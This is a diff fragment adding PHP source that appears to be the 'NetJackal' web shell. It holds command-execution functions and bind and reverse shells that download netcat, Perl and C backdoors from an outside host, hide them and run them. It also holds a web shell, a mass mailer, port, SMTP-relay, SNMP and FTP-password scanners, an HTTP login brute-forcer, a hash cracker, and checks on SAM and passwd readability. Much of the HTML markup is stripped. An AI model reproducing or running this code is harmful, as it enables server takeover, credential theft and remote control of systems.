+win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\"")); +win32_start_service($n); +win32_stop_service($n); +win32_delete_service($n); +while(!file_exists($name))sleep(1); +$exec=file_get_contents($name); +unlink($name); +return $exec; +} +function comshelL($command,$ws){ +$exec=$ws->exec("cmd.exe /c $command"); +$so=$exec->StdOut(); +return $so->ReadAll(); +} +function perlshelL($command){ +$perl=new perl(); +ob_start(); +$perl->eval("system('$command')"); +$exec=ob_get_contents(); +ob_end_clean(); +return $exec; +} +function smtpchecK($addr,$user,$pass,$timeout){ +$sock=fsockopen($addr,25,$n,$s,$timeout); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,'ehlo '.uniqid('NJ')."\r\n"); +$res=substr(fgets($sock,512),0,1); +if($res!='2')return 0; +fgets($sock,512);fgets($sock,512);fgets($sock,512); +fputs($sock,"AUTH LOGIN\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($user)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($pass)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='235')return 0; +return 1; +} +function mysqlchecK($host,$user,$pass,$timeout){ +if(function_exists('mysql_connect')){ +$l=mysql_connect($host,$user,$pass); +if($l)return 1; +} +return 0; +} +function mssqlchecK($host,$user,$pass,$timeout){ +if(function_exists('mssql_connect')){ +$l=mssql_connect($host,$user,$pass); +if($l)return 1; +} +return 0; +} +function checksmtP($host,$timeout){ +$from=strtolower(uniqid('nj')).'@'.strtolower(uniqid('nj')).'.com'; +$sock=fsockopen($host,25,$n,$s,$timeout); +if(!$sock)return -1; +$res=substr(fgets($sock,512),0,3); +if($res!='220')return 0; +fputs($sock,'HELO '.uniqid('NJ')."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"MAIL FROM: <$from>\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"RCPT TO: \r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"DATA\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='354')return 0; +fputs($sock,"From: ".uniqid('NJ')." ".uniqid('NJ')." <$from>\r\nSubject: ".uniqid('NJ')."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".uniqid('Hello ',true)."\r\n.\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +return 1; +} +function replace_stR($s,$h){ +$ret=$h; +foreach($s as $k=>$r)$ret=str_replace($k,$r,$ret); +return $ret; +} +function check_urL($url,$method,$search='200',$timeout=3){ +$u=parse_url($url); +$method=strtoupper($method); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port']; +$data=(!empty($u['query']))?$u['query']:''; +if(!empty($data))$data="?$data"; +$sock=fsockopen($host,$port,$en,$es,$timeout); +if($sock){ +fputs($sock,"$method $file$data HTTP/1.0\r\n"); +fputs($sock,"Host: $host\r\n"); +if($method=='GET')fputs($sock,"\r\n"); +elseif($method=='POST')fputs($sock,'Content-Type: application/x-www-form-urlencoded\r\nContent-length: '.strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data"); +else return 0; +if($search=='200')if(strstr(fgets($sock),'200')){fclose($sock);return 1;}else{fclose($sock);return 0;} +while(!feof($sock)){ +$res=fgets($sock); +if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;} +} +fclose($sock); +} +return 0; +} +function get_sw_namE($host,$timeout){ +$sock=fsockopen($host,80,$en,$es,$timeout); +if($sock){ +$page=uniqid('NJ'); +fputs($sock,"GET /$page HTTP/1.0\r\n\r\n"); +while(!feof($sock)){ +$con=fgets($sock); +if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;} +} +fclose($sock); +return -1; +}return 0; +} +function snmpchecK($ip,$com,$timeout){ +$res=0; +$n=chr(0x00); +$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01).chr(0x00).chr(0x04).chr(strlen($com)).$com.chr(0xA0).chr(0x19).chr(0x02).chr(0x01).chr(0x01).chr(0x02).chr(0x01).$n.chr(0x02).chr(0x01).$n.chr(0x30).chr(0x0E).chr(0x30).chr(0x0C).chr(0x06).chr(0x08).chr(0x2B).chr(0x06).chr(0x01).chr(0x02).chr(0x01).chr(0x01).chr(0x01).$n.chr(0x05).$n; +$sock=fsockopen("udp://$ip",161); +if(function_exists('socket_set_timeout'))socket_set_timeout($sock,$timeout); +fputs($sock,$packet); +socket_set_timeout($sock,$timeout); +$res=fgets($sock); +fclose($sock); +if($res != '')return 1;else return 0; +} +$safemode=(ini_get('safe_mode') || strtolower(ini_get('safe_mode'))=='on')?'ON':'OFF'; +if($safemode=='ON'){ini_restore('safe_mode');ini_restore('open_basedir');} +function brshelL(){ +global $errorbox,$windows,$et,$hcwd; +$_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0; +$addr='http://netjackal.by.ru/br'; +$error="$errorbox Can not make backdoor file, go to writeable folder.$et"; +$n=uniqid('NJ_'); +if(!$windows)$n=".$n"; +$d=whereistmP(); +$name=$d.DIRECTORY_SEPARATOR.$n; +$c=($_REQUEST['C'])?1:0; +if(!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1)){ +$port=(int)$_REQUEST['port']; +if($windows){ +if($c){ +$name.='.exe'; +$bd=downloadiT("$addr/nc",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe"); +}else{ +$name=$name.'.pl'; +$bd=downloadiT("$addr/winbind.p",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("perl $name $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/bind.c",$name); +if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &"); +}else{ +$bd=downloadiT("$addr/bind.p",$name); +if(!$bd)echo $error;else shelL("cd $d;perl $n $port &"); +echo "Backdoor is waiting for you on $port.
"; +} +} +} +elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){ +$ip=$_REQUEST['ip']; +$port=(int)$_REQUEST['rport']; +if($windows){ +if($c){ +$name.='.exe'; +$bd=downloadiT("$addr/nc",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe"); +}else{ +$name=$name.'.pl'; +$bd=downloadiT("$addr/winrc.p",$name); +shelL("attrib +H $name"); +if (!$bd)echo $error;else shelL("perl.exe $name $ip $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/rc.c",$name); +if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &"); +}else{ +$bd=downloadiT("$addr/rc.p",$name); +if(!$bd)echo $error;else shelL("cd $d;perl $n $ip $port &"); +} +} +echo 'Done!';} +else{echo "
Bind shell:
Port:
Type:PERL";if($windows)echo 'EXE';else echo 'C';echo"
$hcwd$et
Reverse shell:
IP:
Port:
Type:PERL";if($windows)echo 'EXE';else echo 'C';echo"
$hcwd$et$et";}} +function showimagE($img){ +echo "
";} +function editoR($file){ +global $errorbox,$et,$hcwd,$cwd; +if(is_file($file)){ +if(!is_readable($file)){echo "$errorbox File is not readable$et
";} +if(!is_writeable($file)){echo "$errorbox File is not writeable$et
";} +$data=file_get_contents($file); +echo "
$hcwd
$et
"; +} +else {echo "
$hcwd$et
"; +} +echo "$hcwd$et"; +} +function webshelL(){ +global $windows,$hcwd,$et,$cwd; +if($windows){ +$alias=""; +} +else{ +$alias=""; +if(is_dir('/etc/valiases'))$alias.="";if(is_dir('/etc/vdomainaliases'))$alias.="";if(file_exists('/var/cpanel/accounting.log'))$alias.=""; +if(is_dir('/var/spool/mail/'))$alias.=""; +} +echo "
Location:$et
Web Shell:
$hcwd
$hcwd$et
"; +} +function maileR(){ +global $msgbox,$et,$hcwd; +if(!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){ +$to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body']; +if(mail($to,$subject,$body,"From: $from"))echo "$msgboxMail sent!
$et"; +} +echo "

Mailer:
SMTP".ini_get('SMTP').' ('.ini_get('smtp_port').")
From:$hcwd
To:
Subject:
Body:
$et"; +} +function scanneR(){ +global $hcwd,$et; +if(!empty($_SERVER['SERVER_ADDR']))$host=$_SERVER['SERVER_ADDR'];else $host='127.0.0.1'; +$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; +if(($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ +$target=$_REQUEST['target'];$from=(int)$_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu=0; +echo 'Port scanning started against '.htmlspecialchars($target).':
'; +$start=time(); +for($i=$from;$i<=$to;$i++){ +if($tcp){ +if(checkthisporT($target,$i,$timeout)){ +$nu++; +$ser=''; +if(getservbyport($i,'tcp'))$ser='('.getservbyport($i,'tcp').')'; +echo "$nu) $i $ser (Connect) [TCP]
"; +} +} +if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser='';if(getservbyport($i,'udp'))$ser='('.getservbyport($i,'udp').')';echo "$nu) $i $ser [UDP]
";} +} +$time=time()-$start; +echo "Done! ($time seconds)
"; +} +elseif(!empty($_REQUEST['securityscanner'])){ +echo ''; +$start=time(); +$from=$_REQUEST['from']; +$to=(int)$_REQUEST['to']; +$timeout=(int)$_REQUEST['timeout']; +$f=substr($from,strrpos($from,'.')+1); +$from=substr($from,0,strrpos($from,'.')); +if(!empty($_REQUEST['httpscanner'])){ +echo 'Loading webserver bug list...'; +$buglist=whereistmP().DIRECTORY_SEPARATOR.uniqid('BL'); +$dl=downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); +if($dl){$file=file($buglist);echo 'Done! scanning started.

';}else echo 'Failed!!! scanning started without webserver security testing...

'; +}else{$fr=htmlspecialchars($from);echo "Scanning $fr.$f-$fr.$to:

";} +for($i=$f;$i<=$to;$i++){ +$output=0; +$ip="$from.$i"; +if(!empty($_REQUEST['nslookup'])){ +$hn=gethostbyaddr($ip); +if($hn!=$ip)echo "$ip [$hn]
"; $output=1;} +if(!empty($_REQUEST['ipscanner'])){ +$port=$_REQUEST['port']; +if(strstr($port,','))$p=explode(',',$port);else $p[0]=$port; +$open=$ser=''; +foreach($p as $po){ +$scan=checkthisporT($ip,$po,$timeout); +if($scan){ +$ser=''; +if($ser=getservbyport($po,'tcp'))$ser="($ser)"; +$open.=" $po$ser "; +} +} +if($open){echo "$ip) Open ports:$open
";$output=1;} + +} +if(!empty($_REQUEST['httpbanner'])){ +$res=get_sw_namE($ip,$timeout); +if($res){ +echo "$ip) Webserver software: "; +if($res==-1)echo 'Unknow'; +else echo $res; +echo '
'; +$output=1; +} +} +if(!empty($_REQUEST['httpscanner'])){ +if(checkthisporT($ip,80,$timeout) && !empty($file)){ +$admin=array('/admin/','/adm/'); +$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); +$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); +$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); +foreach($file as $v){ +$vuln=array(); +$v=trim($v); +if(!$v || $v{0}=='#')continue; +$v=str_replace('","','^',$v); +$v=str_replace('"','',$v); +$vuln=explode('^',$v); +$page=$cqich=$nukech=$adminch=$userch=$vuln[1]; +if(strstr($page,'@CGIDIRS')) +foreach($cgi as $cg){ +$cqich=str_replace('@CGIDIRS',$cg,$page); +$url="http://$ip$cqich"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} +} +elseif(strstr($page,'@ADMINDIRS')) +foreach($admin as $cg){ +$adminch=str_replace('@ADMINDIRS',$cg,$page); +$url="http://$ip$adminch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} +} +elseif(strstr($page,'@USERS')) +foreach($users as $cg){ +$userch=str_replace('@USERS',$cg,$page); +$url="http://$ip$userch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} +} +elseif(strstr($page,'@NUKE')) +foreach($nuke as $cg){ +$nukech=str_replace('@NUKE',$cg,$page); +$url="http://$ip$nukech"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} +} +else{ +$url="http://$ip$page"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} +} +} +} +} +if(!empty($_REQUEST['smtprelay'])){ +if(checkthisporT($ip,25,$timeout)){ +$res=''; +$res=checksmtP($ip,$timeout); +if($res==1){echo "$ip) SMTP relay found.
";$output=1;} +} +} +if(!empty($_REQUEST['snmpscanner'])){ +if(checkthisporT($ip,161,$timeout,1)){ +$com=$_REQUEST['com']; +$coms=$res=''; +if(strstr($com,','))$c=explode(',',$com);else $c[0]=$com; +foreach($c as $v){ +$ret=snmpchecK($ip,$v,$timeout); +if($ret)$coms.=" $v "; +} +if($coms!=''){echo "$ip) SNMP FOUND: $coms
";$output=1;} +} +} +if(!empty($_REQUEST['ftpscanner']) && function_exists('ftp_connect')){ +if(checkthisporT($ip,21,$timeout)){ +$usps=explode(',',$_REQUEST['userpass']); +foreach($usps as $v){ +$user=substr($v,0,strpos($v,':')); +$pass=substr($v,strpos($v,':')+1); +if($pass=='[BLANK]')$pass=''; +$ftp=ftp_connect($ip,21,$timeout); +if($ftp){ +if(ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) System type: ".ftp_systype($ftp)." (Connect)
";} +} +} +} +} +if($output)echo '
'; +} +$time=time()-$start; +echo "Done! ($time seconds)
"; +if(!empty($buglist))unlink($buglist); +} +elseif(!empty($_REQUEST['directoryscanner'])){ +$dir=file($_REQUEST['dic']);$host=$_REQUEST['host'];$r=$_REQUEST['r1']; +echo "
Scanning started...\n";
+for($i=0;$i$adr\n";}
+}else{
+$adr="$d.$host";
+$ip=gethostbyname($adr);
+if($ip!=$adr){echo "Subdomain Found: $adr($ip)\n";}
+}
+}
+echo 'Done!
'; +} +else{ +$t="
TCPUDP":""; +echo "
$t>
Port scanner:
Target:
From:
To:
Timeout:
$chbox$hcwd$et$t>Discoverer:
Host:
Dictionary:
Search for:DirectoriesSubdomains
"; +$host=substr($host,0,strrpos($host,".")); +echo "$t name=security>
Security scanner:
From: NS lookup
To:xxx.xxx.xxx.$hcwd
Timeout:
Port scanner:
Get web bannerWebserver security scanning   SMTP relay check
FTP password:
SNMP:
$et"; +} +} +function sysinfO(){ +global $windows,$disablefunctions,$cwd,$safemode; +$t8=""; +$t6=""; +$mil="$osn",$os); +$os=str_replace($ker,"${mil}Linux+Kernel'>$ker",$os); +$inpa=':'; +}else{ +$sam=$sysroot."\\system32\\config\\SAM"; +$inpa=';'; +$os=str_replace($osn,"${mil}MS+Windows'>$osn",$os); +} +$cuser=get_current_user(); +if(!$cuser)$cuser='Unknow'; +$software=str_replace('Apache',"${mil}Apache'>Apache",$_SERVER['SERVER_SOFTWARE']); +echo "${t6}Server:${t8}Operation system:${t6}Web server application:${t8}CPU:${t6}Disk status:${t8}User domain:${t6}User name:"; +if($windows){ +echo "${t8}Windows directory:${t6}Sam file:'; +} +else +{ +echo "${t8}UID - GID:${t6}Recommended local root exploits:${t8}Passwd file:${t6}${mil}cpanel'>cPanel:'; +} +echo "$t8${mil}PHP'>PHP version:${t6}Zend version:${t8}Include path:${t6}PHP Modules:${t8}Disabled functions:${t6}Safe mode:${t8}Open base dir:${t6}DBMS:
Server information:
".$_SERVER['HTTP_HOST'];if(!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "
$os$osver
$software
$CPU
$disksize
";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "
$cuser
$sysroot
";if(is_readable(($sam)))echo "Readable"; else echo 'Not readable';echo '
".getmyuid().' - '.getmygid()."
$xpl
"; +if(is_readable('/etc/passwd'))echo "Readable";else echo'Not readable';echo "
";$cp='/usr/local/cpanel/version';$cv=(file_exists($cp) && is_writable($cp))?trim(file_get_contents($cp)):'Unknow';echo "$cv (Log file: "; +if(file_exists('/var/cpanel/accounting.log')){if(is_readable('/var/cpanel/accounting.log'))echo "Readable";else echo 'Not readable';}else echo 'Not found';echo ')
".PHP_VERSION." (more...)
";if (function_exists('zend_version')) echo "".zend_version().'';else echo 'Not Found';echo "
".str_replace($inpa,' ',DEFAULT_INCLUDE_PATH)."
";$ext=get_loaded_extensions();foreach($ext as $v){$i=phpversion($v);if(!empty($i))$i="($i)";$l=hlinK("exT=$v");echo "$v $i ";}echo "
";if(!empty($ds))echo "$ds ";else echo 'Nothing'; echo"
$safemode
$basedir
";$sq='';if(function_exists('mysql_connect')) $sq= "${mil}MySQL'>MySQL ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL'>MSSQL ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle'>Oracle ";if(function_exists('sqlite_open')) $sq.= ' SQLite ';if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL'>PostgreSQL ";if(function_exists('msql_connect')) $sq.= ' mSQL ';if(function_exists('mysqli_connect'))$sq.= ' MySQLi ';if(function_exists('ovrimos_connect')) $sq.= ' Ovrimos SQL ';if ($sq=='') $sq= 'Nothing'; echo "$sq
"; +} +function checksuM($file){ +global $et; +echo "
MD5: ".md5_file($file).'
SHA1:'.sha1_file($file)."$et"; +} +function listdiR($cwd,$task){ +$c=getcwd(); +$dh=opendir($cwd); +while($cont=readdir($dh)){ +if($cont=='.' || $cont=='..')continue; +$adr=$cwd.DIRECTORY_SEPARATOR.$cont; +switch($task){ +case '0':if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";break; +case '1':if(is_writeable($adr)){if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";}break; +case '2':if(is_file($adr) && is_writeable($adr))echo "[$adr]\n";break; +case '3':if(is_dir($adr) && is_writeable($adr))echo "[$adr]\n";break; +case '4':if(is_file($adr))echo "[$adr]\n";break; +case '5':if(is_dir($adr))echo "[$adr]\n";break; +case '6':if(preg_match('@'.$_REQUEST['search'].'@',$cont) || (is_file($adr) && preg_match('@'.$_REQUEST['search'].'@',file_get_contents($adr)))){if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";}break; +case '7':if(strstr($cont,$_REQUEST['search']) || (is_file($adr) && strstr(file_get_contents($adr),$_REQUEST['search']))){if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";}break; +case '8':{if(is_dir($adr))rmdir($adr);else unlink($adr);rmdir($cwd);break;} +} +if(is_dir($adr))listdiR($adr,$task); +} +} +if(!checkfunctioN('posix_getpwuid')){function posix_getpwuid($u){return 0;}} +if(!checkfunctioN('posix_getgrgid')){function posix_getgrgid($g){return 0;}} +function filemanageR(){ +global $windows,$msgbox,$errorbox,$t,$et,$cwd,$hcwd; +$table=""; +$td1n="
"; +$td2m=""; +$td1i=""; +$td2i=""; +$tdnr=""; +$tdw=""; +if(!empty($_REQUEST['task'])){ +if(!empty($_REQUEST['search']))$_REQUEST['task']=7; +if(!empty($_REQUEST['re']))$_REQUEST['task']=6; +echo '
';
+listdiR($cwd,$_REQUEST['task']);
+echo '
'; +}else{ +if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])){ +if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){ +$title='Destination'; +$ad=(!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV']; +$dis=(!empty($_REQUEST['cP']))?'Copy':'Move'; +}else{ +$ad=$_REQUEST['rN']; +$title='New name'; +$dis='Rename'; +} +if(!!empty($_REQUEST['deS'])){ +echo "
$td1n$td2m$hcwd$et"; +}else{ +if(!empty($_REQUEST['rN']))rename($ad,$_REQUEST['deS']); +else{ +copy($ad,$_REQUEST['deS']); +if(!empty($_REQUEST['mV']))unlink($ad); +} +} +} +if(!empty($_REQUEST['deL'])){if(is_dir($_REQUEST['deL']))listdiR($_REQUEST['deL'],8);else unlink($_REQUEST['deL']);} +if(!empty($_FILES['uploadfile'])){ +move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']); +echo "$msgboxUploaded! File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et
"; +} +$select="
$title:
[ - ] Location:$et"; +$file=$dir=$link=array(); +if($dirhandle=opendir($cwd)){ +while($cont=readdir($dirhandle)){ +if(is_dir($cwd.DIRECTORY_SEPARATOR.$cont))$dir[]=$cont; +elseif(is_file($cwd.DIRECTORY_SEPARATOR.$cont))$file[]=$cont; +else $link[]=$cont; +} +closedir($dirhandle); +sort($file);sort($dir);sort($link); +echo "
"; +$i=0; +foreach($dir as $dn){ +echo ''; +$i++; +$own='Unknow'; +$owner=posix_getpwuid(fileowner($dn)); +$mdate=date('Y/m/d H:i:s',filemtime($dn)); +$adate=date('Y/m/d H:i:s',fileatime($dn)); +$diraction=$select.hlinK('seC=fm&workingdiR='.realpath($dn))."'>Open"; +if($owner)$own="".$owner['name'].''; +if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if(is_writeable($dn))echo $tdw;elseif(!is_readable($dn))echo $tdnr;else echo $cl2; +echo ""; +if(strlen($dn)>45)echo substr($dn,0,42).'...';else echo $dn;echo ''; +echo $cl1."$own"; +echo $cl1."$mdate"; +echo $cl1."$adate"; +echo "$cl1";echo "";echo 'D';if(is_readable($dn))echo 'R';if(is_writeable($dn))echo 'W';echo ''; +echo "$cl1------"; +echo $cl2.$diraction; +echo ''; +} +foreach($file as $fn){ +echo ''; +$i++; +$own='Unknow'; +$owner=posix_getpwuid(fileowner($fn)); +$fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>Open"; +$mdate=date('Y/m/d H:i:s',filemtime($fn)); +$adate=date('Y/m/d H:i:s',fileatime($fn)); +if($owner)$own="".$owner['name'].''; +$size=showsizE(filesize($fn)); +if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if(is_writeable($fn))echo $tdw;elseif(!is_readable($fn))echo $tdnr;else echo $cl2; +echo ""; +if(strlen($fn)>45)echo substr($fn,0,42).'...';else echo $fn;echo ''; +echo $cl1."$own"; +echo $cl1."$mdate"; +echo $cl1."$adate"; +echo "$cl1";echo "";if(is_readable($fn))echo "R";if(is_writeable($fn))echo "W";if(is_executable($fn))echo "X";if(is_uploaded_file($fn))echo "U";echo ""; +echo "$cl1$size"; +echo $cl2.$fileaction; +echo ''; +} +foreach($link as $ln){ +$own='Unknow'; +$i++; +$owner=posix_getpwuid(fileowner($ln)); +$linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."'>Open"; +$mdate=date('Y/m/d H:i:s',filemtime($ln)); +$adate=date('Y/m/d H:i:s',fileatime($ln)); +if($owner)$own="".$owner['name'].''; +echo ''; +$size=showsizE(filesize($ln)); +if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if(is_writeable($ln))echo $tdw;elseif(!is_readable($ln))echo $tdnr;else echo $cl2; +echo ""; +if(strlen($ln)>45)echo substr($ln,0,42).'...';else echo $ln;echo ''; +echo $cl1."$own"; +echo $cl1."$mdate"; +echo $cl1."$adate"; +echo "${cl1}";echo "L";if(is_readable($ln))echo "R";if (is_writeable($ln))echo "W";if(is_executable($ln))echo "X";echo ""; +echo "$cl1$size"; +echo $cl2.$linkaction; +echo ''; +} +} +$dc=count($dir)-2; +if($dc==-2)$dc=0; +$fc=count($file); +$lc=count($link); +$total=$dc+$fc+$lc; +$min=min(substr(ini_get('upload_max_filesize'),0,strpos(ini_get('post_max_size'),'M')),substr(ini_get('post_max_size'),0,strpos(ini_get('post_max_size'),'M'))).' MB'; +echo "
NameOwnerModification timeLast changeInfoSizeActions
$table
Find:Regular expressions $hcwd
$hcwd
$et

Summery: Total: $total Directories: $dc Files: $fc Links: $lc$et$td1n$td2m$hcwd$et$td1n$td2m$hcwd$td1n Note: Max allowed file size to upload on this server is $min$et$et"; +} +} +function imapchecK($host,$username,$password,$timeout){ +$sock=fsockopen($host,143,$n,$s,$timeout); +$b=uniqid('NJ'); +$l=strlen($b); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,"$b LOGIN $username $password\r\n"); +$res=fgets($sock,$l+4); +fclose($sock); +if($res=="$b OK")return 1;else return 0; +} +function ftpchecK($host,$username,$password,$timeout){ +$ftp=ftp_connect($host,21,$timeout); +if(!$ftp)return -1; +$con=ftp_login($ftp,$username,$password); +if($con)return 1;else return 0; +} +function pop3checK($server,$user,$pass,$timeout){ +$sock=fsockopen($server,110,$en,$es,$timeout); +if(!$sock)return -1; +fread($sock,1024); +fwrite($sock,"user $user\n"); +$r=fgets($sock); +if($r{0}=='-')return 0; +fwrite($sock,"pass $pass\n"); +$r=fgets($sock); +fclose($sock); +if($r{0}=='+')return 1; +return 0; +} +function formcrackeR(){ +global $errorbox,$footer,$et,$hcwd; +if(!empty($_REQUEST['start'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$url=$_REQUEST['target']; +$uf=$_REQUEST['userf']; +$pf=$_REQUEST['passf']; +$sf=$_REQUEST['submitf']; +$sv=$_REQUEST['submitv']; +$method=$_REQUEST['method']; +$fail=$_REQUEST['fail']; +$dic=$_REQUEST['dictionary']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +if(!file_exists($dic))die("$errorbox Can not open dictionary.$et$footer"); +$dictionary=fopen($dic,'r'); +echo 'Cracking started...
'; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$url.="?$uf=$user&$pf=$pass&$sf=$sv"; +$res=check_urL($url,$method,$fail,12); +if(!$res){echo "U: $user P: $pass
";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");if(!$type)break;} +} +fclose($dictionary); +echo 'Done!

'; +} +else echo "
New:

${t}Upload:
HTTP Form cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:$hcwd
Action Page:
Method:
Username field name:
Password field name:
Submit name:
Submit value:
Fail string:
Log $et"; +} +function hashcrackeR(){ +global $errorbox,$t,$et,$hcwd; +if(!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if($dictionary){ +$hash=strtoupper($_REQUEST['hash']); +echo 'Cracking '.htmlspecialchars($hash).'...
'; +$type=($_REQUEST['type']=='MD5')?'md5':'sha1'; +while(!feof($dictionary)){ +$word=trim(fgets($dictionary)," \n\r"); +if($hash==strtoupper(($type($word)))){echo "The answer is $word
";if($log)file_add_contentS($file,"$x\r\n");break;} +} +echo 'Done!
'; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +echo "
${t}Hash cracker:
Dictionary:
Hash:
Type:
Log $hcwd $et"; +} +function pr0xy(){ +global $errorbox,$et,$footer,$hcwd; +echo "
